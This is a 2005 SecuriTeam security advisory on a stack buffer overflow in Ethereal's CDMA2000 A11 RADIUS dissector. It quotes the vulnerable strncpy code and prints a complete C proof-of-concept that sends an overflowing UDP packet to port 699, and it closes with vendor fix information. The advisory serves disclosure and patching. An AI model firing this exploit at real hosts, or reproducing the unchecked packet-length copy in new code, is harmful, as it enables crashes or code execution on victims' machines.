[NEWS] Buffer Overflow In Ethereal (CDMA2000 A11)
From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/05
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To: list@securiteam.com Date: 10 Mar 2005 15:05:49 +0200
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Buffer Overflow In Ethereal (CDMA2000 A11)
------------------------------------------------------------------------
SUMMARY
<http://www.ethereal.com/> Ethereal is a network sniffer used by network
professionals around the world for troubleshooting, analysis, software and
protocol development, and education.
Ethereal is vulnerable to a stack based buffer overflow in the CDMA2000 of
3G filter. This may allow an attacker to run arbitrary machine code on a
vulnerable host.
DETAILS
Vulnerable Systems:
* Ethereal 0.10.9 and prior versions may vulnerable as well.
Vulnerable Code:
There is a remote buffer overflow vulnerability in Ethereal dissector for
CDMA2000 A11 packets. Vulnerability is located in dissect_a11_radius()
function in packet-3g-a11.c used for RADIUS authentication dissection. The
number of bytes that will be copied from packet to buffer in stack is
taken from packet itself. 16 bytes are reserved for that buffer, and
string length can be up to 256 bytes (unsigned char), it is possible to
overflow local variables and return address.
packet-3g-a11.c:
#define MAX_STRVAL 16
..
dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int
app_len)
{
..
size_t radius_len;
...
guchar str_val[MAX_STRVAL];
...
radius_len = tvb_get_guint8(tvb, offset + 1);
...
strncpy(str_val, tvb_get_ptr(tvb,offset+2,radius_len-2), radius_len-2);
..
}
A similar vulnerability was also found at the same function a few lines
below where RADIUS attributes are copied to stack.
packet-3g-a11.c:
#define MAX_STRVAL 16
..
dissect_a11_radius( tvbuff_t *tvb, int offset, proto_tree *tree, int
app_len)
{
..
guint attribute_len;
...
guchar str_val[MAX_STRVAL];
...
attribute_len = tvb_get_guint8(tvb, offset + radius_offset + 1);
...
case ATTR_TYPE_STR:
strncpy(str_val,tvb_get_ptr(tvb,offset+radius_offset+2,attribute_len -
2),
attribute_len - 2);
..
}
Exploit:
/*
*
* Ethereal 3G-A11 remote buffer overflow PoC exploit
* --------------------------------------------------
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security <http://security.lss.hr/en/>
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
main (int argc, char **argv)
{
int sock;
struct sockaddr_in sin;
unsigned char buf[1024];
char bla[200];
sock=socket(AF_INET,SOCK_DGRAM,0);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(699);
buf[0] = 22;
memset(buf+1,'A',19);
buf[20] = 38;
*(unsigned short*)&buf[22] = htons(100);
*(unsigned short*)&buf[28] = 0x0101;
buf[30] = 31;
buf[31] = 150; // len for overflow...play with this value if it doesn't
work
memset (bla,'B',200);
strncpy (buf+32,bla,180);
sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
}
//EoF
Vendor Status:
The Subversion version has been fixed and can be found at:
<http://www.ethereal.com/development.html>
http://www.ethereal.com/development.html
ADDITIONAL INFORMATION
The information has been provided by <mailto:exposed@lss.hr> LSS
Security.
The original article can be found at:
<http://security.lss.hr/en/index.php?page=details&ID=LSS-2005-03-04>
http://security.lss.hr/en/index.php?page=details&ID=LSS-2005-03-04
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